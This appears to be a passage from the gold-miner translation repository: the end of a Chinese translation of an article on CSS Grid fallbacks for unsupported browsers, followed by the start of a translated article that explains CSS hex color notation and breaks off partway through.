的新特性，我们可以做出哪些努力，仍然给那些不支持新特性的浏览器提供很好的体验？\n\n### 我们说的支持是什么？\n\n在阐明如何在去支持那些本身不支持网格的浏览器之前，很有必要搞明白 **支持** 的含义。支持也许是站点必须在列表中的浏览器上看起来完全相同。这可能意味着对于所有的浏览器，你都可以不用去做一些收尾工作。这可能意味着你在测试这些浏览器的时候对他们能获得一致的体验而感到十分高兴。\n\n一个相关的问题就是**你怎么确定要支持的浏览器列表？**即使是一个全新的网站，也不应该拍脑袋就定了。对于今天的大多数的企业都曾经创建过网站。你可能有一些分析工具用于查看网站支持的浏览器，但是要注意这些工具不会检测对移动端的支持情况。如果在较小屏幕上表现不佳，人们便不会在手机上访问这个网站！\n\n如果没有任何的分析工具，你可以在 [Can I Use](https://caniuse.com/) 上面导入你所在位置的数据。\n\n[![在 Can I Use 上可以导入你所在位置的使用情况数据](https://www.smashingmagazine.com/wp-content/uploads/2017/11/can-i-use-import-data-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/can-i-use-import-data-large-opt.png)\n\n在 [Can I Use](https://caniuse.com/) 这个网站上，你可以导入所在位置的使用情况数据。 ([预览大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/can-i-use-import-data-large-opt.png))\n\n同样值得在这里牢记网站的目标。例如，希望吸引生活在印度等新兴市场的访问者的网站应该确保能在这些国家用户使用的浏览器中正常运行。\n\n### 我仅仅只需要担心旧浏览器吗？\n\n截止发稿，Edge，Chrome，Firefox，Opera，Safari，iOS Safari 都支持了网格布局。\n\nIE10 和 IE11 支持带有 `-ms` 前缀的原始规格。对于你正在使用的 **旧** 浏览器来说：\n\n*\tInternet Explorer 9（如果仅考虑新的规范，则为 IE 11 及更低版本）\n* Edge 15 及以下\n* Firefox 52 之前的版本\n* Safari 和 iOS Safari 10.1 版本之前\n* Chrome 57 之前的版本\n* Samsung Internet 6.2 之前的版本\n\n然而，正如上一节所述，这些流行的桌面端和移动端浏览器在新兴市场中已经更常用。**这些浏览器还不支持网格布局**。比如说从世界范围来看，UC 浏览器占用了 8.1% 的流量，俨然是世界第三大流行的浏览器。但是如果碰巧你住在美国或者欧洲，可能你从来都没有听说过。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/StatCounter-browser-ww-monthly-201610-201710-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/StatCounter-browser-ww-monthly-201610-201710-large-opt.png)\n\n([图片来源](http://gs.statcounter.com/)) ([预览大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/StatCounter-browser-ww-monthly-201610-201710-large-opt.png))\n\nUC 浏览器不支持网格布局。它不仅针对低功耗设备进行了优化，也适用于那些流量费昂贵地区的用户。这是我们在开始规划支持的一个重要考虑因素。\n\n### 有没有 CSS Grid 的 Polyfill（垫片）？\n\n在第一次遇到 CSS Grid 的时候，一个显而易见的问题是：“我可以使用 polyfill 吗？”不幸的是，即使有这样的好事，对于整个布局来说，一个神奇的 polyfill 既不太可能出现，也不是一个好主意。\n\n使用旧的布局方式，网格几乎做不到这一点。所以，为了在不支持的浏览器中复制网格布局，需要在 JavaScript 中做很多的工作。即使在资源充足的计算机上，使用了快速渲染引擎，在计算高度和元素的定位方面还是可能会带来一些令人生厌的体验。我们已经知道，**不支持网格的浏览器**是新兴市场上低功耗设备上最常见的 **较老**，或者较慢的浏览器。为什么硬要在这些设备上放一堆 JavaScript 呢？\n\n不要搜索一个 polyfill，而是要考虑如何使用网格布局为那些不支持的浏览器提供更好的体验。在支持的浏览器上，使用网格可以用最少的 CSS 创造复杂的布局，但同时仍然要为那些不支持的浏览器提供良好的体验。这样会比仅仅在这个问题上抛出一个 polyfill 多一些工作，但是这样做的话，你可以保证能提供良好的体验，反而让网站在所有的地方显示相同不是最重要的目标。\n\n### 网格布局降级方案\n\n那么，我们如何为正在使用的设备和浏览器提供定制的支持？事实证明，CSS 中有你要的答案。\n\n#### 浏览器忽略那些他们不懂的 CSS\n\n图片的第一部分是浏览器略过他们不懂的 CSS。如果一个浏览器不支持 CSS Grid 布局，遇到 `grid-template-columns` 属性的时候，他不知道这是什么东西，所以就会跳过这行继续解析下面的内容。\n\n这就意味着你需要用一些旧的 CSS，就像你过去那样，使用 `float` 或者 `display: table-cell` 在古老浏览器中实现网格样式的布局。不支持网格布局的浏览器将使用此布局并且忽略所有的网格声明。支持网格布局的浏览器将会继续寻找网格指令并且应用他们。这一点上，我们需要考虑如果使用其他布局方法的项目成为网格项目的时候会发生什么情况。\n\n#### 新布局兼容旧布局\n\n规范规定了如果你的页面上有使用其他布局方式定位的元素的时候，网格将会如何处理。\n\n使用了浮动（float）或清除（clear）属性的元素，再应用网格成为网格元素的话，将不再表现为浮动或清除，就像从没用过它们一样。在下一个 CodePen 中删除应用了 `.grid` 类的所有属性，你可以看到我们所有的项目是如何浮动的，第三个项目是如何清除浮动的。但是在网格布局中，这将被忽略。\n\n可以看下 rachelandrew ([@rachelandrew](https://codepen.io/rachelandrew)) 在 [CodePen](https://codepen.io) 写的这个 Pen [使用 display: grid 覆盖 float 和 clear](https://codepen.io/rachelandrew/pen/jamLjw/)。\n\n`inline-block` 同样也是如此。`inline-block` 可以设置给子项，但是只要父窗口应用了 `display: grid`，那么 inline-block 将失效。\n\n我经常使用 CSS `display: table-cell` 来创建一个列布局，并在非支持网格的浏览器中对齐项目，因为这样 `vertical-align` 属性可以生效。\n\n如果你以前不知道, 阅读 [CSS 布局的反英雄 — “display:table”](https://colintoh.com/blog/display-table-anti-hero)。我不建议你现在使用这个作为主要的布局方式，但是它可以作为一个非常有用的回退方案。\n\n当你使用 `display: table-cell` 创建列，CSS 将创建所谓的 **匿名框**。这些是表格的缺失部分 —— 真正的 HTML 表格中的单元格将在 `table` 元素里边的 `tr` 元素内。匿名框基本上解决了这些失踪的父元素。如果你的 `table-cell` 元素变成了一个网格元素。这样这个元素的 table 显示同样会失效，就像什么也没有发生。\n\n`vertical-align` 属性在网格布局中仍然不适用。因此如果你可以在 CSS 表格布局或 `inline-block`中使用它，则可以安全的忽略该属性，尽情使用网格布局的框对齐方式。你可以在下一个 CodePen 中看到一个使用 CSS Grid 覆盖 `display:table-cell` 和 `vertical-align` 的布局。\n\n可以看下 rachelandrew ([@rachelandrew](https://codepen.io/rachelandrew)) 在 [CodePen](https://codepen.io) 写的这个 Pen [display: grid 覆盖 display: table-cell 和 vertical-align](https://codepen.io/rachelandrew/pen/NwjaKp/)。\n\n你同样可以使用 Flexbox 作为一个回退方案，一旦你在一个使用 `flex` 属性或者独立的 `flex-grow`，`flex-shrink` 或者 `flex-basis` 属性的元素上使用 grid 布局，它们（flex 等）同样会失效。\n\n最后，请不要忘记多列布局在某种情况下可以作为一个回退方案。当对卡片或图像进行布局时，它将以列而不是行来显示每一项。但是在某些情况下可能是有用的。在容器上应用 `column-count` 或者 `column-width` 使其成为多列容器。然后应用 `display:grid` 将忽略 `column-*` 行为。\n\n### 特征查询\n\n其他大多数布局方式中，大多都只是针对单个项目而不是其容器。例如在浮动布局中，我们有一堆给定了百分比宽度的项目，为其设置左浮动（float: left）。这将让他们排列在一起。只要总数不超过父容器宽度的 100%，我们就可以实现类似网格的效果。\n\n```\n.grid > * {\n  float: left;  \n  width: 33%;\n}\n```\n\n[![给定宽度的浮动元素给我们类似网格的感觉](https://www.smashingmagazine.com/wp-content/uploads/2017/11/floating-items-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/floating-items-large-opt.png)\n\n给定宽度的浮动元素给我们类似网格的感觉。 ([预览大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/floating-items-large-opt.png))\n\n如果我们把布局方式换成 CSS Grid 布局，在父级上创建一个网格。我们仅仅需要做的就是指定这些元素能横跨多少列。\n\n```\n.grid {\n  display: grid;\n  grid-template-columns: 1fr 1fr 1fr;\n  grid-auto-rows: 100px;\n  grid-gap: 20px;\n}\n```\n\n在我们以前的布局中，我们为浮动元素给定了大小。在新的布局中，这些元素变成了网格元素，通常我们并不会给这些元素大小，因为可以从跨过的网格轨迹上确定。\n\n在这里，我们只是能够 **用另一个覆盖一个布局的方式** 来解决问题。在浮动布局的例子中，一旦指定了百分比大小的元素成为网格元素的时候，大小就会变成它所在网格区域的百分比，而不是整个容器的百分比。你可以使用 Firefox Grid Inspector 来高亮显示这些行 —— 这些元素现在被挤压到了网格单元的一侧。\n\n[![在网格布局中，宽度将成为网格区域的百分比](https://www.smashingmagazine.com/wp-content/uploads/2017/11/grid-inspector-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/grid-inspector-large-opt.png)\n\n在网格布局中，宽度将成为网格区域的百分比。([预览大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/grid-inspector-large-opt.png))\n\n这是特征查询可以发挥作用的地方。特征查询类似于媒体查询，不是去检查设备的宽度和方向，而是去检查浏览器是否支持 CSS 功能。\n\n在我们想要变成网格布局的浮动布局示例中，我们只需要在特征查询中内部重写一个东西 —— 我们想要将宽度重新设置为自动。\n\n查看 [@rachelandrew](https://codepen.io/rachelandrew) 在 [CodePen](https://codepen.io) 写的这个 Pen：[display: 特性查询 demo](https://codepen.io/rachelandrew/pen/vWmeOE/)。\n\n你需要重写多少用于不支持浏览器的 CSS，取决于你要为这些较旧的浏览器创建多少不同的布局。\n\n### IE10 和 11 版本的网格布局\n\n虽然 Edge 浏览器现在已经升级到支持现代网格布局，但是 IE10 和 IE11 只支持像早期版本那样，在这些浏览器加 `-ms` 前缀的写法。我们今天所知道的网格规范最初来自于微软。对这个老的实现方案，我们不是不高兴。我们应该很高兴他们开始了这个过程，首先是给了我们网格。你可以从这篇文章了解更多：[CSS 网格的故事，来自它的创作者](https://alistapart.com/article/the-story-of-css-grid-from-its-creators)。\n\n如上所述，你可能决定为 IE10 和 11 提供基于浮动或其他布局类型的回退方法。这个功能也可以正常工作，就像 IE10 和 11 不支持功能查询一样。只要使用这些功能来覆盖旧的方法来检查其支持情况，然后创建支持浏览器的版本，IE10 和 11 将使用较旧的方法。\n\n你依旧可以使用 `-ms-grid` 版本来创建回退方法。然而这个前缀的版本和现代网格布局不一样，它是第一个版本，并且也是实验版本。自从运用五年左右以来，情况已经发生了变化。这意味着你不能只使用 autoprefixer 来添加前缀，这种方法可能会让 IE10 和 11 的用户体验比你不做任何处理还要糟。相反，你需要使用这个不同的、更有先的规范来创建一个布局。\n\n要注意的要点如下：\n\n1. 如果没有自动放置，你需要使用基于行的定位将每一个元素放在网格上。\n2. `grid-template-areas` ascii-art 方法不是实现的一部分。\n3. 不要设置网格间隙的属性\n4. 你可以不要指定开始行和结束行，而是去指定开始行和要跨越的列数。\n\n你可以在我的博客文章中找到所有的这些属性的完整细目，[我应该尝试使用 IE 的网格布局实现方案吗？](https://rachelandrew.co.uk/archives/2016/11/26/should-i-try-to-use-the-ie-implementation-of-css-grid-layout/)\n\n如果你有大量的用户使用这些浏览器，那么你可能会发现这个老规范是有帮助的。即使你只是用他来解决几个小问题，那这对你来说也是值得的。\n\n### 如果要支持这些浏览器，我何苦使用网格呢？\n\n如果你的列表中有不支持的浏览器，那么你 _必须_ 为他们提供和那些已经被支持的浏览器相同的体验。然后我们就会怀疑是不是应该用网格布局，或者任何新的 CSS 特性。使用可行方案，这个方案最完美。\n\n你可能还在考虑使用网格布局是不是有一个优良的回退方案，如果你知道，短期内很可能你会从“必须是相同的”列表中抛弃一堆不兼容的浏览器。特别是如果你知道现在做的开发会有很长的维护周期。然后，你可以在晚一点的时候，只使用网格版本，丢掉回退方案。\n\n但是，支持对于你来说意味可能着会失去对一些浏览器的兼容来换取一些开发工作的简化，然而此时还非用网格布局不可，那么这是使用网格布局和针对不兼容浏览器单独设计非网格布局体验的时候。\n\n### 回退测试\n\n测试回退是最后一步。测试你的回退方案是否奏效的唯一方法就会使用不支持 CSS 网格的浏览器访问你的网站。使用[下载微软提供的虚拟机](https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/)的这种方式，你可以不必购买其他电脑。然后，就可以用不支持网格布局的 Internet Explorer 进行测试。\n\n你可以在手机上下载 UC 浏览器，或[使用桌面版](http://www.ucweb.com/desktop/)的 Windows 或者虚拟机。\n\n还有比如说可以访问整个运行范围内浏览器的远程虚拟机工具 [BrowserStack](https://www.browserstack.com)。这些服务不是免费的，但是他们而已为你节省大量设置测试虚拟机的时间。\n\n[![BrowserStack 可以访问到许多不同的浏览器和操作系统](https://www.smashingmagazine.com/wp-content/uploads/2017/11/browserstack-example-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/browserstack-example-large-opt.png)\n\nBrowserStack可以访问到许多不同的浏览器和操作系统。 ([预览大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/browserstack-example-large-opt.png))\n\n我看到有人建议切换特征查询值来测试一些不存在的东西。比如测试 `display: gridx`。这是能正常工作，但是你需要把所有的网格代码放到特征查询的代码块里边，而不是忽略浏览器会跳过不支持的 CSS 代码的事实。如果你不知道有些网格代码可能会结束在特征查询之外，那么你很容易会得到一个虚假的正确结果。即使你在使用这个方法进行快速检查，我仍然强烈建议你做一些真机测试。\n\n#### 延伸阅读\n\n我已经列出了这篇文章提到的网址，还有一些额外的资源可以帮助你用自己的方式来支持浏览器，同时还能利用到新的布局方式。如果你遇到了任何好的资源，或者特别棘手的问题，都可以将他们添加到这个问题下面。网格布局对于我们所有人都是新生的东西，我们可以在生产环境中使用，但是不可避免会出现一些悬而未决的问题，让我们一起看看。\n\n*   “[创造者讲述 CSS Grid 的故事](https://alistapart.com/article/the-story-of-css-grid-from-its-creators),” Aaron Gustafson, A List Apart\n*   “[Internet Explorer 和 Edge 的测试虚拟机](https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/),” Microsoft\n*   “[BrowserStack](https://www.browserstack.com),” 跨浏览器测试工具\n*   “[我应该尝试使用IE浏览器实现网格布局？](https://rachelandrew.co.uk/archives/2016/11/26/should-i-try-to-use-the-ie-implementation-of-css-grid-layout/)” Rachel Andrew\n*   [CSS 布局的反英雄 — “display:table”](https://colintoh.com/blog/display-table-anti-hero),” Colin Toh\n*   “[CSS 网格回退和替代备忘录](https://rachelandrew.co.uk/css/cheatsheets/grid-fallbacks)” Rachel Andrew\n*   “[在 CSS 中使用特征查询](https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/),” Jen Simmons, Mozilla Hacks\n*   “[特征查询视频教程](http://gridbyexample.com/learn/2016/12/24/learning-grid-day24/),” Rachel Andrew\n*   “[CSS 网格和逐步增强](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement),” MDN web docs, Mozilla\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/css-hex-colors-demystified.md",
    "content": "\n  > * 原文地址：[CSS Hex Colors Demystified](https://medium.com/dev-channel/css-hex-colors-demystified-51c712179982)\n  > * 原文作者：[Dave Gash](https://medium.com/@davidagash)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/css-hex-colors-demystified.md](https://github.com/xitu/gold-miner/blob/master/TODO/css-hex-colors-demystified.md)\n  > * 译者：[Cherry](https://github.com/sunshine940326)\n  > * 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)、[lampui](https://github.com/lampui)、[undead25](https://github.com/undead25)、[undead25](https://github.com/undead25)\n\n  # CSS 十六进制颜色揭秘\n\n  ![](https://cdn-images-1.medium.com/max/1600/1*-_xWZmET00Mx_BM9aZou-g.jpeg)\n\n### 简介\n作为一个长期在世界各地主持技术峰会的主持人，我有机会和许多技术传播者交流，我将这些人称为“**专业的**技术作者”，忙于他们的工作。\n\n一个主题反复出现的是 CSS 中的颜色 —— 特别是它们在 CSS 的属性值中使用十六进制表示法。你可以在你的 CSS 中各个地方看见这些看起来怪怪的字符串：`#FF0080`、`#9AC0B3`、`#B5CBE8`。我的意思是 `#WTF`，不是吗？\n\n虽然大部分的技术作者都会在某些时候遇到十六进制编码的颜色值，它通常情况下是一个模糊的问题，所以从来没有人花时间去解释他们。我听到最多的评论大都是这样的：\n\n- 我一直在使用十六进制编码的色值，但是我真的**不明白**。\n- 其实我知道一些十六进制编码的色值代表什么颜色，但是我不知道**为什么**。\n- 有时候我可以修改十六进制的编码来达到我想要的效果，但是我不理解它们是**怎么**工作的。\n- 使用一个像 `#BADA55` 这样的不易理解的十六进制编码是错误的吗？\n\n好的，就拿最后一个来说，但是答案是否定的，不，使用 `#BADA55` 这样的十六进制表示颜色不是错误的。如果你是想要一个黄绿色，那么你就可以使用 `#BADA55`。\n\n### CSS 中的颜色\n\n在 CSS 中颜色无处不在，它们可以作为前景、背景、阴影、表格、边框、链接、底纹等等这些属性的值。正因为颜色对于 CSS 是如此的重要，所以我们需要一个通用、标准的方式来引用它们，以便在所有浏览器中得到相同的颜色，这样用户就可以看到作者希望展现的颜色。\n\n在 CSS 中设置颜色有很多种方式，我们稍后会讨论其中的几种。但本文的重点是十六进制颜色，因为它具有明确性、一致性，而且还十分优雅。虽然它有这么多优点，但是有个缺点就是它并不是很直观。\n\n\n### 物理学\n\n让我们从色彩的基本原理开始：白光其实是由彩虹的所有颜色组成。知道 Roy G. Biv 吗？它是红、橙、黄、绿、蓝、靛、紫七种颜色的英文首字母缩略词，我们看到的白光仅仅是有这七种颜色混合组成的。\n\n![如果你认为这是一个笑话，那么你太年轻了。](https://cdn-images-1.medium.com/max/1600/1*apZ_o9Z6v6tf4uBXzphgaw.png)\n\n\n\n#### 颜料\n让我们来看一下颜色是怎么工作的，我们先来回顾一下颜料中的物理光线。=> 要了解颜色是如何工作的，让我们先来回顾一下颜料中的物理光线。\n\n![颜料的三原色](https://cdn-images-1.medium.com/max/1600/1*WgrNsoQrXQ2HVtEb2JE24Q.png)\n\n学习颜料的第一件事情就是你可以把原色组合成第二种颜色。例如，你可以将蓝色和红色混合在一起得到紫色。同样，还有其他的选择，你可以将红色和黄色混合成橙色，黄色和蓝色混合成绿色 —— 全新的第二种颜色。\n\n![颜料中的生成色](https://cdn-images-1.medium.com/max/1600/1*RBfoOD8CS_lFMB_oIyG_1g.png)\n\n你当时不知道的是它的成色原理：颜料减色法原理。也就是说，它们吸收或减去白光中的某些色光，只反射它们没有减去的光。\n\n> 对于那些没有试验过的人来说，这意味着一个看起来是单一颜色的物体实际上不是那种颜色。因为物体吸收了所有的光波长，但是只反射回来一种颜色的光（我们看到的），它实际上是所有的颜色。换句话说，是**除了它显示的颜色之外的所有颜色**。我们看到的橘色实际上并不是橙色。虽然不符合常理，但事实如此。\n\n在不知道它的物理特性的情况下，我们早都理解将两种或两种以上的颜色组合在一起会得到其他颜色，而且我们添加的颜色越多，新的颜色就越多，每种颜色都比原色更深。我们最终了解到，如果把所有的颜色混合在一起，我们最终会得到黑色，或者是非常接近黑色的颜色。我们现在知道，这是因为从原来的白光开始，随着越来越多的颜料被加入，越来越多的光被吸收或减去。所以，明显的是，**光线越少 = 颜色越深**。 提示：请记住这一点，这在后面将会很重要。\n\n![非常非常深的灰色就接近黑色](https://cdn-images-1.medium.com/max/1600/1*OXCcIybMtfaIoXTtIZSDLQ.png)\n\n我们发现颜料混合的另一件事是，除了被混合的颜色外，混合颜色的比列也会影响结果。即同为蓝黄混合，黄色多一点，会产生一个淡淡的“春绿”，而蓝色多一点则会产生一个暗暗的“森林绿”。所以很明显，混合的比例也很重要。\n\n#### 色光\n\n你明白了吗？那好，现在忘了它，因为所有的计算机屏幕都是基于光而不是颜料。颜料的知识只是为光学做准备，稍后你会感谢我的。事实证明，光学的物理现象是和颜料相同的，只是稍有不同（这是真的）。\n\n就像上面讨论颜料一样，我们先从原色开始，在光学上它们是红色、绿色和蓝色。\n\n![我们一起来看，这可能有一点粗糙](https://cdn-images-1.medium.com/max/1600/1*0L0ixGTpbm1X20Y84cDcUQ.png)\n\n就像颜料一样，我们可以将原色混合获得第二种颜色。并且，就和颜料一样，并且也有很多种混合结果。蓝光和红光混合得到名为 purple-y 的颜色，我们称之为洋红；绿光和蓝光混合得到名为 teal-y 的颜色，我们称为青色；好吧，很合理，有红灯了也有绿灯了……**什么？！？**\n\n![](https://cdn-images-1.medium.com/max/1600/1*2Hx5hxBCeG81iq6Z0bIb-w.png)\n\n是的，最后一个确实和前面的不一样，并不像直观感受的那样，但是这就是光学的工作原理：红光和绿光相加得到黄光。\n\n> 这是为什么呢？本来就是如此，光学的工作原理就是这样的。你可能会对此感到困惑，如果对此感到困惑，你可以咨询这里面的 [专家](https://en.wikipedia.org/wiki/List_of_light_deities)。 \n\n这是因为色光是加色法，和颜料相反。我们组合的光波波长越多，新的颜色就越多，直到所有颜色都以最大比例混合时 —— 最终将得到白光。很容易看出，我们得到的每一种混合色都比它的原色更亮。因此，对于颜料我们的推论是：**光线越少 = 颜色越深**，而对于色光则是：**光线越多 = 颜色越亮**。\n\n![三种原色的光聚集在一起就成了白光](https://cdn-images-1.medium.com/max/1600/1*BC1eJ6IwEa4ow_t2wDHPYQ.png)\n\n### 回到 CSS\n\n在 CSS 中，我们要达到预期的颜色效果，我们需要一种方式，不仅指定选哪一种原色，而且还要指定每一种颜色的比例。也就是说，我们需要精确地指定多少红色、绿色和蓝色的光线相加以获得特定的颜色。嘿，这是物理学！\n\n在计算机世界，值的范围一般是在 0-255 之间。当然，这是有原因的，但现在你可以不用在意。因为要解释二进制是如何工作的，是另一篇文章的内容。现在，请相信我，每种颜色的最小值是 0，最大值是 255，谢谢。\n\n#### 设置颜色的方法\n\n虽然我在本文中提倡十六进制表示色值的方法，但我不能忽视这一事实，它决不是唯一指定 CSS 颜色的方法。在继续之前，让我们快速看看其他三种方法。\n\n> **注意：** 如果你对这部分的内容完全不感兴趣，你可以直接跳到下一主题，**快速浏览**。说真的，你不会错过任何关于十六进制的重要信息。这个小插曲主要是未来完整性，很大程度上是为了避免文末出现大量“但是，但是，但是...”的评论。\n\n**颜色名**\n\n通过颜色名设置颜色是一种简单的方式，所有现代浏览器都能解释各种颜色名，它们可以用作 CSS 属性值。很多名字都很有道理，比如 black（黑）、white（白）、red（红）、green（绿）、blue（蓝）、yellow（黄）、purple（紫）、orange（橙）等等。有些不是很明显，像 aquamarine（海蓝宝石），blueviolet（蓝紫色），cornsilk（花丝），khaki（卡其布）。然后有些是荒谬的，像 aliceblue（爱丽丝蓝）、lavenderblush（淡紫红）、burlywood（原木色）、和 gainsboro（淡灰色）。\n\n问题是，颜色名不够灵活，也不常见。purple 只对应一种颜色，那就是“紫色”。如果你想要一个特定的紫色，比如“淡紫”、“薰衣草紫”，那它做不到。当然，有 “mediumorchid”、“plum” 和 “thistle” 这些名称可供选择，但这些可能并不是你想要的颜色，并且你怎么通过名称知道是什么颜色呢？正如刚才提到的，名称越奇特，颜色越不直观。我认为没有人能猜到 “peru” 是什么颜色。\n\n例如，这是一个有红色背景的黄色文本，使用颜色名设置：\n\n`span.hilite { color: yellow; background-color: red; }`\n\n**RGB**\n\n另一种方法被称为 RGB，对于……嗯，我希望你能解决那个问题。这种方法使用普通的数字，并且相当整齐地用十进制记数法或百分比指定每个颜色的比例。但这种方法，冗长并复杂；有额外的括号，逗号，和/或百分比符号，很容易写成不是你想要的颜色或者出错。\n\n这是一个有红色背景的黄色文本，使用 RGB 设置：\n\n`span.hilite { color: rgb(255, 255, 0); background-color: rgb(255, 0, 0); }`\n\n或者\n\n`span.hilite { color: rgb(100%, 100%, 0%); background-color: rgb(100%, 0%, 0%); }`\n\n**HSL**\n\n只是为了进一步把水搅浑，另一种方法称为 HSL，分别表示色调，饱和度，亮度。这种方法 —— 具有多种我不想使用的子方法，使用十进制值和百分比的值。十进制值表示色轮上的颜色从 0 到 360，其中 0 是红色，120 是绿色，240 是蓝色。百分比表示光的数量，其中 0% 是无色的，100% 是全色的。亮度百分比然后修改颜色的亮度或光度，其中 0% 是黑色的，100% 是白色的。我一直觉得这个方法有点混乱，根据我的经验，开发人员很少使用这种方法。\n\n这是一个有红色背景的黄色文本，使用 HSL 设置：\n\n`span.hilite { color: hsl(60, 100%, 50%); background-color: hsl(0, 100%, 50%) }`\n\n**十六进制表示**\n\n另外一种，十六进制记数法，通常是最流行的 CSS 颜色命名方法。它是具体的、一致的、紧凑的和精确的。使用三个字符的十六进制码在范围 00-FF 的指定 RGB 值，其中 00 是没有颜色和 FF 是所有颜色聚集在一起形成的白色。\n\n这是一个有红色背景的黄色文本，使用十六进制色值设置：\n\n`span.hilite { color: #FFFF00; background-color: #FF0000; }`\n\n好了，这就够了，让我们继续来看！\n\n### 快速的回顾一下\n\n我知道你认为我在撒谎，但十六进制真的比你想象的容易。十六进制色值是基于十六进制（基数为 16）计算的。为了理解十六进制是如何工作的，你只需要理解十进制（基数为 10）是如何工作的。哦，等等，你已经做了！很好，让我们回顾一下。\n\n> 请不要跳过这部分，好吗？我知道你理解十进制是**怎样**工作的，我想让你想一下**为什么**它能起作用。\n\n十进制系统有十个单字符数字，0 到 9。你可以一直加一来获得下一个数字，但最终你将用完数字。当这种情况发生时，你把一个 0 放在这个位置，然后在左边再增加一位数。让我们来思考一下这句话的含义。\n\n![](https://cdn-images-1.medium.com/max/1600/1*-QBjj9bsURSYsSlaSYKUbg.png)\n\n这里最重要的一点是，位置的名字表示它们中的数字的值，而每个位置的名称代表的最大值，在其右边的位置表示。在十进制中，最右边的位置称为“个位”，右边的第二个位置称为“十位”。数字“9”的意思是“九个一”，如果我们加上“1”（“一个一”），我们就用完了数字，所以我们就在个位放了一个 0，在十位放了一个 1，得到了两位数 10。\n\n因此，十进制值 10，我们称之为“十”，实际上表示“一个十和零个一”。同样，十进制的 26 表示“两个十和六个一”，十进制的 33 表示“三个十和三个一”，十进制的 42 表示“四个十和两个二”。（当然，[这就是最终问题的答案](https://en.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#Answer_to_the_Ultimate_Question_of_Life.2C_the_Universe.2C_and_Everything_.2842.29) ）。\n\n十六进制的伟大之处在于它工作得很像十进制。**确切地说！** 不开玩笑、不夸张、并且你也只能选择使用十进制的方式理解十六进制。十六进制算术和十进制算术完全一样，它只有十六个字符数字而不是十个数字。\n\n![](https://cdn-images-1.medium.com/max/1600/1*jhKg0v_TTUDXht8y4VQD9g.png)\n\n将 A ~ F 视为数字，对应十进制中的 10 ~ 15。当然，计算机是对你友好的才提出多出这六个数字，但（a）我们必须要学习他们，（b）如何在键盘输入。![](https://cdn-images-1.medium.com/max/1600/1*f4G4sDddeNFIEkfcGOJffw.png)。（c）那东西是什么，他们只是在字母最小的恶作剧。\n\n换句话说，十进制值 10 用十六进制的一个数字 A 表示，这表示“十个一”。十六进制数字 B 表示“十一个一”，等等，直到 F，表示“十五个一”。\n\n重复一遍，就和十进制一样，每一个位置的名字表示它们中的数字的值，每个位置的名称代表的最大值可以在其右边的位置表示。最右边的地方仍被称为“一”，我们现在可以数到 F（“十五个一”），右边起第二位被称为“16”。\n\n![十六进制加法：9 + 1 = a](https://cdn-images-1.medium.com/max/1600/1*hz81_Qc6tCAhsrrSJ8fopA.png)\n\n数字“9”还表示“九个一”，但现在，如果我们加上“1”（“一个一”）的话，我们还没有用完的数字，所以我们可以在个位使用 A（“十个一”），只需要让十六显示为两位数。\n\n就像十进制一样，你可以不断地增加一个数字来获得下一个数字，但是你仍然会用完数字。当这种情况发生时，你把一个 0 放在这个位置，然后在这位数的左边新增一位数。**就和十进制一样**，再让我们想想这句话的意思。\n\n![十六进制加法：f + 1 = 10](https://cdn-images-1.medium.com/max/1600/1*VstVral1WUbSHywS5kBYtg.png)\n\n所以，10（数字 1 和数字 0）的十六进制值不是十，而是十六，因为它的表示“一个十六，零个一”。然而，就像十进制一样，任何两位数字的十六进制数字都可以用同样的方式读取和理解。这意味着，如果我们继续计数递增到十六的时我们就使用“F”，重点来了：**我们可以使用十六进制的两位数从 00 到 FF 代表任何从 0 到 255 的十进制数**。\n\n例如，在下面的图表中，十六进制的 14（也就是“数字一和数字四”）是十进制的二十，因为它实际上是一个十六（16）和四个一（1），在十进制中 16 + 4 = 20。十六进制的 A5 代表着一百六十五，因为因为它是十个十六（10 * 16 = 160）和五个一（1 * 5 = 5）。最终，要特别注意红色的线，因为他们是最终的范围和范围的中间点：十六进制的 00（数字零和数字零）是零，十六进制的 FF 是二百五十五（15 * 16 + 15 = 255），并且十六进制的 80（数字八和数字零）是一百二十八（8 * 16 + 0 * 1 = 128），是 00 和 FF 的中间值。提示：记住 “80” 是中间点，我们马上就要用到它。\n\n![十六进制计数，00 到 FF](https://cdn-images-1.medium.com/max/1600/1*UMYMc30_T_tX6G-KAB4H-A.png)\n\n> 